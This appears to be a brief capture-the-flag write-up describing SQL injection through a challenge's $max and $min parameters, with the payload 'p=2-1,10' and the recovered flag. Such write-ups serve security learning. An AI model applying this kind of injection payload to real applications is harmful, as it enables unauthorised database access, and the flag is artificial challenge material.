SQL injection in `$max` and `$min` variables simply set min=2-1 and max=10
The payload would be like this `p=2-1,10`

`Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}`